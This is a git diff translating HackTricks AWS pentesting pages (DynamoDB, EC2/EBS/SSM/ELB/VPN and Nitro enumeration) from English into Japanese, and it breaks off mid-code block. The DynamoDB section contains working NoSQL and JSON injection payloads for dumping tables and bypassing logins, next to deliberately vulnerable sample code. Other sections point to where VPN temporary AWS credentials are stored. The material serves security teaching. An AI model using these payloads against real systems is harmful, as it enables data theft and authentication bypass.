a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -4,30 +4,29 @@ ## DynamoDB -### Basic Information +### 基本情報 -Amazon DynamoDB is presented by AWS as a **fully managed, serverless, key-value NoSQL database**, tailored for powering high-performance applications regardless of their size. The service ensures robust features including inherent security measures, uninterrupted backups, automated replication across multiple regions, integrated in-memory caching, and convenient data export utilities. +Amazon DynamoDBは、AWSによって**完全に管理されたサーバーレスのキー・バリューNoSQLデータベース**として提供されており、サイズに関係なく高性能アプリケーションを支えるために特化されています。このサービスは、固有のセキュリティ対策、途切れのないバックアップ、複数のリージョンにわたる自動レプリケーション、統合されたインメモリキャッシング、便利なデータエクスポートユーティリティなど、堅牢な機能を保証します。 -In the context of DynamoDB, instead of establishing a traditional database, **tables are created**. Each table mandates the specification of a **partition key** as an integral component of the **table's primary key**. This partition key, essentially a **hash value**, plays a critical role in both the retrieval of items and the distribution of data across various hosts. This distribution is pivotal for maintaining both scalability and availability of the database. Additionally, there's an option to incorporate a **sort key** to further refine data organization. +DynamoDBの文脈では、従来のデータベースを構築する代わりに、**テーブルが作成されます**。各テーブルは、**テーブルの主キー**の不可欠な要素として**パーティションキー**の指定を義務付けています。このパーティションキーは、本質的に**ハッシュ値**であり、アイテムの取得とデータのさまざまなホストへの分配の両方において重要な役割を果たします。この分配は、データベースのスケーラビリティと可用性を維持するために重要です。さらに、データの整理をさらに洗練させるために、**ソートキー**を組み込むオプションもあります。 -### Encryption +### 暗号化 -By default, DynamoDB uses a KMS key that \*\*belongs to Amazon DynamoDB,\*\*not even the AWS managed key that at least belongs to your account. +デフォルトでは、DynamoDBは**Amazon DynamoDBに属するKMSキー**を使用しており、少なくともあなたのアカウントに属するAWS管理キーさえ使用していません。
-### Backups & Export to S3 +### バックアップとS3へのエクスポート -It's possible to **schedule** the generation of **table backups** or create them on **demand**. Moreover, it's also possible to enable **Point-in-time recovery (PITR) for a table.** Point-in-time recovery provides continuous **backups** of your DynamoDB data for **35 days** to help you protect against accidental write or delete operations. +**テーブルバックアップ**の生成を**スケジュール**することや、**オンデマンド**で作成することが可能です。さらに、**テーブルのポイントインタイムリカバリ（PITR）を有効にする**ことも可能です。ポイントインタイムリカバリは、DynamoDBデータの**35日間**の継続的な**バックアップ**を提供し、偶発的な書き込みや削除操作から保護するのに役立ちます。 -It's also possible to export **the data of a table to S3**, but the table needs to have **PITR enabled**. +**テーブルのデータをS3にエクスポート**することも可能ですが、テーブルには**PITRが有効**である必要があります。 ### GUI -There is a GUI for local Dynamo services like [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), etc, that could be useful: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) - -### Enumeration +[ダイナモDBローカル](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/)、[dynalite](https://github.com/mhart/dynalite)、[localstack](https://github.com/localstack/localstack)などのローカルDynamoサービス用のGUIがあり、役立つ可能性があります: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) +### 列挙 ```bash # Tables aws dynamodb list-tables @@ -36,7 +35,7 @@ aws dynamodb describe-table --table-name #Get metadata info #Check if point in time recovery is enabled aws dynamodb describe-continuous-backups \ - --table-name tablename +--table-name tablename # Backups aws dynamodb list-backups @@ -54,129 +53,112 @@ aws dynamodb describe-export --export-arn # Misc aws dynamodb describe-endpoints #Dynamodb endpoints ``` - -### Unauthenticated Access +### 認証されていないアクセス {{#ref}} ../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md {{#endref}} -### Privesc +### 権限昇格 {{#ref}} ../aws-privilege-escalation/aws-dynamodb-privesc.md {{#endref}} -### Post Exploitation +### ポストエクスプロイト {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### Persistence +### 永続性 {{#ref}} ../aws-persistence/aws-dynamodb-persistence.md {{#endref}} -## DynamoDB Injection +## DynamoDB インジェクション -### SQL Injection +### SQL インジェクション -There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**. +DynamoDB データに **SQL 構文**でアクセスする方法があるため、典型的な **SQL インジェクションも可能**です。 {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection {{#endref}} -### NoSQL Injection +### NoSQL インジェクション -In DynamoDB different **conditions** can be used to retrieve data, like in a common NoSQL Injection if it's possible to **chain more conditions to retrieve** data you could obtain hidden data (or dump the whole table).\ -You can find here the conditions supported by DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) +DynamoDB では、データを取得するために異なる **条件**を使用できます。一般的な NoSQL インジェクションのように、データを取得するために **複数の条件を連鎖させる**ことができれば、隠れたデータを取得したり（またはテーブル全体をダンプしたり）することができます。\ +DynamoDB がサポートする条件はここで確認できます: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) -Note that **different conditions** are supported if the data is being accessed via **`query`** or via **`scan`**. +データが **`query`** または **`scan`** を介してアクセスされる場合、**異なる条件**がサポートされていることに注意してください。 > [!NOTE] -> Actually, **Query** actions need to specify the **condition "EQ" (equals)** in the **primary** key to works, making it much **less prone to NoSQL injections** (and also making the operation very limited). - -If you can **change the comparison** performed or add new ones, you could retrieve more data. +> 実際には、**Query** アクションは、**プライマリ** キーで **条件 "EQ" (等しい)** を指定する必要があり、これにより **NoSQL インジェクションに対してはるかに脆弱性が低く**なり（操作も非常に制限されます）。 +もし **比較** を変更したり、新しいものを追加したりできれば、より多くのデータを取得することができます。 ```bash # Comparators to dump the database "NE": "a123" #Get everything that doesn't equal "a123" "NOT_CONTAINS": "a123" #What you think "GT": " " #All strings are greater than a space ``` - {{#ref}} https://book.hacktricks.xyz/pentesting-web/nosql-injection {{#endref}} -### Raw Json injection +### 生のJsonインジェクション > [!CAUTION] -> **This vulnerability is based on dynamodb Scan Filter which is now deprecated!** +> **この脆弱性は現在非推奨のdynamodb Scan Filterに基づいています！** -**DynamoDB** accepts **Json** objects to **search** for data inside the DB. If you find that you can write in the json object sent to search, you could make the DB dump, all the contents. - -For example, injecting in a request like: +**DynamoDB**は、DB内のデータを**検索**するために**Json**オブジェクトを受け入れます。検索に送信されるjsonオブジェクトに書き込むことができる場合、DBのダンプ、すべての内容を取得することができます。 +例えば、次のようなリクエストに注入することです： ```bash '{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}' ``` - -an attacker could inject something like: +攻撃者は次のようなものを注入することができます： `1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0` -fix the "EQ" condition searching for the ID 1000 and then looking for all the data with a Id string greater and 0, which is all. - -Another **vulnerable example using a login** could be: +ID 1000を検索する「EQ」条件を修正し、次にId文字列が0より大きいすべてのデータを探します。これはすべてです。 +別の**ログインを使用した脆弱な例**は次のようになります： ```python scan_filter = """{ - "username": { - "ComparisonOperator": "EQ", - "AttributeValueList": [{"S": "%s"}] - }, - "password": { - "ComparisonOperator": "EQ", - "AttributeValueList": [{"S": "%s"}] - } +"username": { +"ComparisonOperator": "EQ", +"AttributeValueList": [{"S": "%s"}] +}, +"password": { +"ComparisonOperator": "EQ", +"AttributeValueList": [{"S": "%s"}] +} } """ % (user_data['username'], user_data['password']) dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter)) ``` - -This would be vulnerable to: - +これは次のような脆弱性があります： ``` username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none ``` - ### :property Injection -Some SDKs allows to use a string indicating the filtering to be performed like: - +一部のSDKでは、実行されるフィルタリングを示す文字列を使用することができます。 ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` +DynamoDBでアイテムをスキャンする際に**フィルター式**で属性**値**を**置き換える**ために検索する場合、トークンは**`:`**文字で**始まる**必要があります。そのため、これらのトークンは**実行時に実際の属性値に置き換えられます**。 -You need to know that searching in DynamoDB for **substituting** an attribute **value** in **filter expressions** while scanning the items, the tokens should **begin** with the **`:`** character. Such tokens will be **replaced** with actual **attribute value at runtime**. - -Therefore, a login like the previous one can be bypassed with something like: - +したがって、前述のようなログインは次のようなもので回避できます: ```bash :username = :username or :username # This will generate the query: # :username = :username or :username = :username and Password = :password # which is always true ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index f365bc7f5..e08368cdb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -4,7 +4,7 @@ ## VPC & Networking -Learn what a VPC is and about its components in: +VPCとは何か、そしてその構成要素について学ぶには： {{#ref}} aws-vpc-and-networking-basic-information.md @@ -12,37 +12,36 @@ aws-vpc-and-networking-basic-information.md ## EC2 -Amazon EC2 is utilized for initiating **virtual servers**. It allows for the configuration of **security** and **networking** and the management of **storage**. The flexibility of Amazon EC2 is evident in its ability to scale resources both upwards and downwards, effectively adapting to varying requirement changes or surges in popularity. This feature diminishes the necessity for precise traffic predictions. +Amazon EC2は**仮想サーバー**を起動するために利用されます。**セキュリティ**や**ネットワーキング**の設定、**ストレージ**の管理が可能です。Amazon EC2の柔軟性は、リソースを上方および下方にスケールできる能力に明らかであり、要求の変化や人気の急増に効果的に適応します。この機能は、正確なトラフィック予測の必要性を減少させます。 -Interesting things to enumerate in EC2: +EC2で列挙するのに興味深いもの： -- Virtual Machines - - SSH Keys - - User Data - - Existing EC2s/AMIs/Snapshots -- Networking - - Networks - - Subnetworks - - Public IPs - - Open ports -- Integrated connections with other networks outside AWS +- 仮想マシン +- SSHキー +- ユーザーデータ +- 既存のEC2/AMI/スナップショット +- ネットワーキング +- ネットワーク +- サブネットワーク +- パブリックIP +- 開いているポート +- AWS外の他のネットワークとの統合接続 -### Instance Profiles +### インスタンスプロファイル -Using **roles** to grant permissions to applications that run on **EC2 instances** requires a bit of extra configuration. An application running on an EC2 instance is abstracted from AWS by the virtualized operating system. Because of this extra separation, you need an additional step to assign an AWS role and its associated permissions to an EC2 instance and make them available to its applications. +**EC2インスタンス**上で実行されるアプリケーションに権限を付与するために**ロール**を使用するには、少し追加の設定が必要です。EC2インスタンス上で実行されるアプリケーションは、仮想化されたオペレーティングシステムによってAWSから抽象化されています。この追加の分離のため、EC2インスタンスにAWSロールとその関連する権限を割り当て、それをアプリケーションで利用可能にするための追加のステップが必要です。 -This extra step is the **creation of an** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) attached to the instance. The **instance profile contains the role and** can provide the role's temporary credentials to an application that runs on the instance. Those temporary credentials can then be used in the application's API calls to access resources and to limit access to only those resources that the role specifies. Note that **only one role can be assigned to an EC2 instance** at a time, and all applications on the instance share the same role and permissions. +この追加のステップは、インスタンスに添付された[_**インスタンスプロファイル**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html)の**作成**です。**インスタンスプロファイルにはロールが含まれ**、インスタンス上で実行されるアプリケーションにロールの一時的な資格情報を提供できます。これらの一時的な資格情報は、アプリケーションのAPI呼び出しでリソースにアクセスし、ロールが指定するリソースのみにアクセスを制限するために使用できます。**EC2インスタンスには同時に1つのロールしか割り当てられず**、インスタンス上のすべてのアプリケーションは同じロールと権限を共有します。 -### Metadata Endpoint +### メタデータエンドポイント -AWS EC2 metadata is information about an Amazon Elastic Compute Cloud (EC2) instance that is available to the instance at runtime. This metadata is used to provide information about the instance, such as its instance ID, the availability zone it is running in, the IAM role associated with the instance, and the instance's hostname. +AWS EC2メタデータは、Amazon Elastic Compute Cloud (EC2)インスタンスにランタイムで利用可能な情報です。このメタデータは、インスタンスID、実行中のアベイラビリティゾーン、インスタンスに関連付けられたIAMロール、インスタンスのホスト名など、インスタンスに関する情報を提供するために使用されます。 {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} -### Enumeration - +### 列挙 ```bash # Get EC2 instances aws ec2 describe-instances @@ -50,10 +49,10 @@ aws ec2 describe-instance-status #Get status from running instances # Get user data from each ec2 instance for instanceid in $(aws ec2 describe-instances --profile --region us-west-2 | grep -Eo '"i-[a-zA-Z0-9]+' | tr -d '"'); do - echo "Instance ID: $instanceid" - aws ec2 describe-instance-attribute --profile --region us-west-2 --instance-id "$instanceid" --attribute userData | jq ".UserData.Value" | tr -d '"' | base64 -d - echo "" - echo "-------------------" +echo "Instance ID: $instanceid" +aws ec2 describe-instance-attribute --profile --region us-west-2 --instance-id "$instanceid" --attribute userData | jq ".UserData.Value" | tr -d '"' | base64 -d +echo "" +echo "-------------------" done # Instance profiles @@ -128,22 +127,21 @@ aws ec2 describe-route-tables aws ec2 describe-vpcs aws ec2 describe-vpc-peering-connections ``` - -### Unauthenticated Access +### 認証されていないアクセス {{#ref}} ../../aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md {{#endref}} -### Privesc +### 権限昇格 -In the following page you can check how to **abuse EC2 permissions to escalate privileges**: +次のページでは、**EC2の権限を悪用して権限を昇格させる方法**を確認できます： {{#ref}} ../../aws-privilege-escalation/aws-ec2-privesc.md {{#endref}} -### Post-Exploitation +### ポストエクスプロイト {{#ref}} ../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/ @@ -151,17 +149,17 @@ In the following page you can check how to **abuse EC2 permissions to escalate p ## EBS -Amazon **EBS** (Elastic Block Store) **snapshots** are basically static **backups** of AWS EBS volumes. In other words, they are **copies** of the **disks** attached to an **EC2** Instance at a specific point in time. EBS snapshots can be copied across regions and accounts, or even downloaded and run locally. +Amazon **EBS** (Elastic Block Store) **スナップショット**は基本的にAWS EBSボリュームの静的な**バックアップ**です。言い換えれば、特定の時点で**EC2**インスタンスに接続されている**ディスク**の**コピー**です。EBSスナップショットは、リージョンやアカウント間でコピーしたり、ダウンロードしてローカルで実行したりできます。 -Snapshots can contain **sensitive information** such as **source code or APi keys**, therefore, if you have the chance, it's recommended to check it. +スナップショットには**ソースコードやAPIキー**などの**機密情報**が含まれている可能性があるため、機会があれば確認することをお勧めします。 -### Difference AMI & EBS +### AMIとEBSの違い -An **AMI** is used to **launch an EC2 instance**, while an EC2 **Snapshot** is used to **backup and recover data stored on an EBS volume**. While an EC2 Snapshot can be used to create a new AMI, it is not the same thing as an AMI, and it does not include information about the operating system, application server, or other software required to run an application. +**AMI**は**EC2インスタンスを起動するために使用され**、EC2 **スナップショット**は**EBSボリュームに保存されたデータをバックアップおよび復元するために使用されます**。EC2スナップショットは新しいAMIを作成するために使用できますが、AMIとは異なり、アプリケーションを実行するために必要なオペレーティングシステム、アプリケーションサーバー、またはその他のソフトウェアに関する情報は含まれていません。 -### Privesc +### 権限昇格 -In the following page you can check how to **abuse EBS permissions to escalate privileges**: +次のページでは、**EBSの権限を悪用して権限を昇格させる方法**を確認できます： {{#ref}} ../../aws-privilege-escalation/aws-ebs-privesc.md @@ -169,14 +167,13 @@ In the following page you can check how to **abuse EBS permissions to escalate p ## SSM -**Amazon Simple Systems Manager (SSM)** allows to remotely manage floats of EC2 instances to make their administrations much more easy. Each of these instances need to be running the **SSM Agent service as the service will be the one getting the actions and performing them** from the AWS API. +**Amazon Simple Systems Manager (SSM)**は、EC2インスタンスのフロートをリモートで管理し、その管理をはるかに簡単にします。これらのインスタンスの各々は、**SSMエージェントサービスを実行している必要があります。なぜなら、そのサービスがアクションを取得し、AWS APIから実行するからです**。 -**SSM Agent** makes it possible for Systems Manager to update, manage, and configure these resources. The agent **processes requests from the Systems Manager service in the AWS Cloud**, and then runs them as specified in the request. +**SSMエージェント**は、システムマネージャーがこれらのリソースを更新、管理、構成することを可能にします。エージェントは、**AWSクラウド内のシステムマネージャーサービスからのリクエストを処理し**、リクエストに指定された通りに実行します。 -The **SSM Agent comes**[ **preinstalled in some AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) or you need to [**manually install them**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) on the instances. Also, the IAM Role used inside the instance needs to have the policy **AmazonEC2RoleforSSM** attached to be able to communicate. - -### Enumeration +**SSMエージェントは**[ **一部のAMIにプリインストールされています**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html)が、インスタンスに[**手動でインストールする必要があります**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html)。また、インスタンス内で使用されるIAMロールには、通信を行うために**AmazonEC2RoleforSSM**ポリシーがアタッチされている必要があります。 +### 列挙 ```bash aws ssm describe-instance-information aws ssm describe-parameters @@ -185,16 +182,13 @@ aws ssm describe-instance-patches --instance-id aws ssm describe-instance-patch-states --instance-ids aws ssm describe-instance-associations-status --instance-id ``` - -You can check in an EC2 instance if Systems Manager is runnign just by executing: - +EC2インスタンスでSystems Managerが実行されているかどうかを確認するには、次のコマンドを実行するだけです： ```bash ps aux | grep amazon-ssm ``` - ### Privesc -In the following page you can check how to **abuse SSM permissions to escalate privileges**: +次のページでは、**SSMの権限を悪用して特権を昇格させる方法**を確認できます： {{#ref}} ../../aws-privilege-escalation/aws-ssm-privesc.md @@ -202,10 +196,9 @@ In the following page you can check how to **abuse SSM permissions to escalate p ## ELB -**Elastic Load Balancing** (ELB) is a **load-balancing service for Amazon Web Services** (AWS) deployments. ELB automatically **distributes incoming application traffic** and scales resources to meet traffic demands. +**Elastic Load Balancing** (ELB) は、**Amazon Web Services** (AWS) デプロイメントのための**負荷分散サービス**です。ELBは自動的に**受信アプリケーショントラフィックを分散**し、トラフィックの需要に応じてリソースをスケールします。 ### Enumeration - ```bash # List internet-facing ELBs aws elb describe-load-balancers @@ -216,11 +209,9 @@ aws elbv2 describe-load-balancers aws elbv2 describe-load-balancers | jq '.LoadBalancers[].DNSName' aws elbv2 describe-listeners --load-balancer-arn ``` +## ランチテンプレートとオートスケーリンググループ -## Launch Templates & Autoscaling Groups - -### Enumeration - +### 列挙 ```bash # Launch templates aws ec2 describe-launch-templates @@ -235,12 +226,11 @@ aws autoscaling describe-launch-configurations aws autoscaling describe-load-balancer-target-groups aws autoscaling describe-load-balancers ``` - ## Nitro -AWS Nitro is a suite of **innovative technologies** that form the underlying platform for AWS EC2 instances. Introduced by Amazon to **enhance security, performance, and reliability**, Nitro leverages custom **hardware components and a lightweight hypervisor**. It abstracts much of the traditional virtualization functionality to dedicated hardware and software, **minimizing the attack surface** and improving resource efficiency. By offloading virtualization functions, Nitro allows EC2 instances to deliver **near bare-metal performance**, making it particularly beneficial for resource-intensive applications. Additionally, the Nitro Security Chip specifically ensures the **security of the hardware and firmware**, further solidifying its robust architecture. +AWS Nitroは、AWS EC2インスタンスの基盤となる**革新的な技術**のスイートです。Amazonによって**セキュリティ、パフォーマンス、信頼性を向上させるために**導入され、Nitroはカスタム**ハードウェアコンポーネントと軽量ハイパーバイザー**を活用しています。従来の仮想化機能の多くを専用のハードウェアとソフトウェアに抽象化し、**攻撃面を最小限に抑え**、リソース効率を改善します。仮想化機能をオフロードすることで、NitroはEC2インスタンスが**ほぼベアメタルのパフォーマンス**を提供できるようにし、リソース集約型アプリケーションに特に有益です。さらに、Nitroセキュリティチップは**ハードウェアとファームウェアのセキュリティ**を特に確保し、その堅牢なアーキテクチャをさらに強化します。 -Get more information and how to enumerate it from: +詳細情報と列挙方法については、以下を参照してください： {{#ref}} aws-nitro-enum.md @@ -248,35 +238,34 @@ aws-nitro-enum.md ## VPN -A VPN allows to connect your **on-premise network (site-to-site VPN)** or the **workers laptops (Client VPN)** with a **AWS VPC** so services can accessed without needing to expose them to the internet. +VPNは、**オンプレミスネットワーク（サイト間VPN）**または**作業者のラップトップ（クライアントVPN）**を**AWS VPC**に接続し、サービスをインターネットに公開することなくアクセスできるようにします。 -#### Basic AWS VPN Components +#### 基本的なAWS VPNコンポーネント -1. **Customer Gateway**: - - A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection. - - It is essentially a physical device or software application on your side of the Site-to-Site VPN connection. - - You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway. - - It serves as a reference point for setting up the VPN connection and doesn't incur additional charges. -2. **Virtual Private Gateway**: - - A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection. - - It is attached to your VPC and serves as the target for your VPN connection. - - VPG is the AWS side endpoint for the VPN connection. - - It handles the secure communication between your VPC and your on-premises network. -3. **Site-to-Site VPN Connection**: - - A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel. - - This type of connection requires a Customer Gateway and a Virtual Private Gateway. - - It's used for secure, stable, and consistent communication between your data center or network and your AWS environment. - - Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection. -4. **Client VPN Endpoint**: - - A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions. - - It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network. - - It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks. - - With Client VPN, each client device uses a VPN client software to establish a secure connection. +1. **カスタマーゲートウェイ**: +- カスタマーゲートウェイは、VPN接続のあなたの側を表すためにAWSで作成するリソースです。 +- これは、サイト間VPN接続のあなたの側にある物理デバイスまたはソフトウェアアプリケーションです。 +- ルーティング情報とネットワークデバイス（ルーターやファイアウォールなど）のパブリックIPアドレスをAWSに提供してカスタマーゲートウェイを作成します。 +- VPN接続を設定するための参照ポイントとして機能し、追加料金は発生しません。 +2. **仮想プライベートゲートウェイ**: +- 仮想プライベートゲートウェイ（VPG）は、サイト間VPN接続のAmazon側のVPN集中装置です。 +- あなたのVPCに接続され、VPN接続のターゲットとして機能します。 +- VPGはVPN接続のAWS側エンドポイントです。 +- あなたのVPCとオンプレミスネットワーク間の安全な通信を処理します。 +3. **サイト間VPN接続**: +- サイト間VPN接続は、オンプレミスネットワークを安全なIPsec VPNトンネルを介してVPCに接続します。 +- このタイプの接続にはカスタマーゲートウェイと仮想プライベートゲートウェイが必要です。 +- データセンターやネットワークとAWS環境間の安全で安定した一貫した通信に使用されます。 +- 通常、定期的で長期的な接続に使用され、接続を介して転送されたデータ量に基づいて請求されます。 +4. **クライアントVPNエンドポイント**: +- クライアントVPNエンドポイントは、クライアントVPNセッションを有効にし管理するためにAWSで作成するリソースです。 +- 個々のデバイス（ラップトップ、スマートフォンなど）がAWSリソースまたはオンプレミスネットワークに安全に接続できるようにするために使用されます。 +- サイト間VPNとは異なり、全体のネットワークを接続するのではなく、個々のクライアント向けに設計されています。 +- クライアントVPNでは、各クライアントデバイスがVPNクライアントソフトウェアを使用して安全な接続を確立します。 -You can [**find more information about the benefits and components of AWS VPNs here**](aws-vpc-and-networking-basic-information.md#vpn). - -### Enumeration +[**AWS VPNの利点とコンポーネントについての詳細情報はこちらで見つけることができます**](aws-vpc-and-networking-basic-information.md#vpn)。 +### 列挙 ```bash # VPN endpoints ## Check used subnetwork, authentication, SGs, connected... @@ -300,31 +289,26 @@ aws ec2 describe-vpn-gateways # Get VPN site-to-site connections aws ec2 describe-vpn-connections ``` +### ローカル列挙 -### Local Enumeration +**ローカル一時資格情報** -**Local Temporary Credentials** +AWS VPN Clientを使用してVPNに接続する際、ユーザーは通常**AWSにログイン**してVPNにアクセスします。その後、VPN接続を確立するために**AWS資格情報が作成され、ローカルに保存されます**。これらの資格情報は**$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt**に保存され、**AccessKey**、**SecretKey**、および**Token**が含まれています。 -When AWS VPN Client is used to connect to a VPN, the user will usually **login in AWS** to get access to the VPN. Then, some **AWS credentials are created and stored** locally to establish the VPN connection. These credentials are **stored in** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` and contains an **AccessKey**, a **SecretKey** and a **Token**. +資格情報はユーザー`arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials`に属します（TODO: この資格情報の権限についてさらに調査する）。 -The credentials belong to the user `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: research more about the permissions of this credentials). +**opvn設定ファイル** -**opvn config files** +**VPN接続が確立された場合**、システム内で**`.opvn`**設定ファイルを検索する必要があります。さらに、**$HOME/.config/AWSVPNClient/OpenVpnConfigs**に**設定**が見つかる場所の一つです。 -If a **VPN connection was stablished** you should search for **`.opvn`** config files in the system. Moreover, one place where you could find the **configurations** is in **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** - -#### **Post Exploitaiton** +#### **ポストエクスプロイト** {{#ref}} ../../aws-post-exploitation/aws-vpn-post-exploitation.md {{#endref}} -## References +## 参考文献 - [https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html](https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index 0575a17d8..66f609349 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -2,21 +2,20 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -AWS Nitro is a suite of **innovative technologies** that form the underlying platform for AWS EC2 instances. Introduced by Amazon to **enhance security, performance, and reliability**, Nitro leverages custom **hardware components and a lightweight hypervisor**. It abstracts much of the traditional virtualization functionality to dedicated hardware and software, **minimizing the attack surface** and improving resource efficiency. By offloading virtualization functions, Nitro allows EC2 instances to deliver **near bare-metal performance**, making it particularly beneficial for resource-intensive applications. Additionally, the Nitro Security Chip specifically ensures the **security of the hardware and firmware**, further solidifying its robust architecture. +AWS Nitroは、AWS EC2インスタンスの基盤となる**革新的な技術**のスイートです。Amazonによって**セキュリティ、パフォーマンス、信頼性を向上させる**ために導入され、Nitroはカスタム**ハードウェアコンポーネントと軽量ハイパーバイザー**を活用しています。従来の仮想化機能の多くを専用のハードウェアとソフトウェアに抽象化し、**攻撃面を最小限に抑え**、リソース効率を改善します。仮想化機能をオフロードすることで、NitroはEC2インスタンスに**ほぼベアメタルのパフォーマンス**を提供し、リソース集約型アプリケーションに特に有益です。さらに、Nitroセキュリティチップは**ハードウェアとファームウェアのセキュリティ**を特に確保し、その堅牢なアーキテクチャをさらに強化します。 ### Nitro Enclaves -**AWS Nitro Enclaves** provides a secure, **isolated compute environment within Amazon EC2 instances**, specifically designed for processing highly sensitive data. Leveraging the AWS Nitro System, these enclaves ensure robust **isolation and security**, ideal for **handling confidential information** such as PII or financial records. They feature a minimalist environment, significantly reducing the risk of data exposure. Additionally, Nitro Enclaves support cryptographic attestation, allowing users to verify that only authorized code is running, crucial for maintaining strict compliance and data protection standards. +**AWS Nitro Enclaves**は、Amazon EC2インスタンス内における安全で**隔離されたコンピューティング環境**を提供し、特に高度に機密性の高いデータの処理のために設計されています。AWS Nitroシステムを活用するこれらのエンクレーブは、堅牢な**隔離とセキュリティ**を確保し、PIIや財務記録などの**機密情報を扱う**のに理想的です。ミニマリスト環境を特徴としており、データ露出のリスクを大幅に低減します。さらに、Nitro Enclavesは暗号的証明をサポートし、ユーザーが認可されたコードのみが実行されていることを確認できるため、厳格なコンプライアンスとデータ保護基準を維持するために重要です。 > [!CAUTION] -> Nitro Enclave images are **run from inside EC2 instances** and you cannot see from the AWS web console if an EC2 instances is running images in Nitro Enclave or not. +> Nitro Enclaveイメージは**EC2インスタンス内から実行され**、AWSウェブコンソールからはEC2インスタンスがNitro Enclaveでイメージを実行しているかどうかは確認できません。 -## Nitro Enclave CLI installation - -Follow the all instructions [**from the documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). However, these are the most important ones: +## Nitro Enclave CLIのインストール +すべての指示に従ってください [**ドキュメントから**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave)。ただし、最も重要なものは次のとおりです： ```bash # Install tools sudo amazon-linux-extras install aws-nitro-enclaves-cli -y @@ -32,47 +31,39 @@ nitro-cli --version # Start and enable the Nitro Enclaves allocator service. sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service ``` - ## Nitro Enclave Images -The images that you can run in Nitro Enclave are based on docker images, so you can create your Nitro Enclave images from docker images like: - +Nitro Enclaveで実行できるイメージはdockerイメージに基づいているため、次のようなdockerイメージからNitro Enclaveイメージを作成できます: ```bash # You need to 